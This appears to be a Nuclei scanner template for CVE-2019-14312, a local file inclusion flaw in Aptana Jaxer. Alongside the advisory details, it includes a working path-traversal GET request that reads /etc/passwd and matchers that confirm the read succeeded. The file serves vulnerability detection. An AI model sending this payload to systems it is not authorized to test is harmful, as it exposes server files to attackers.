id: CVE-2019-14312

info:
  name: Aptana Jaxer 1.0.3.4547 - Local File inclusion
  author: daffainfo
  severity: medium
  description: Aptana Jaxer 1.0.3.4547 is vulnerable to local file inclusion in the wikilite source code viewer. An attacker can read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Aptana Jaxer or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47214
    - http://packetstormsecurity.com/files/153985/Aptana-Jaxer-1.0.3.4547-Local-File-Inclusion.html
    - https://github.com/aptana/Jaxer/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14312
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-14312
    cwe-id: CWE-22
    epss-score: 0.20586
    epss-percentile: 0.97262
    cpe: cpe:2.3:a:aptana:jaxer:1.0.3.4547:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aptana
    product: jaxer
  tags: cve2019,cve,lfi,edb,packetstorm,aptana,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b7af4dc70bc1778143d2e3212b6eba886a9e1b2d27c822b441e8712fac7e96e1022100a6773041f404cc2ea141d6bbed0872955d9d9f10ade32281073eac1f2e39d79d:922c64590222798bb761d5b6d8e72950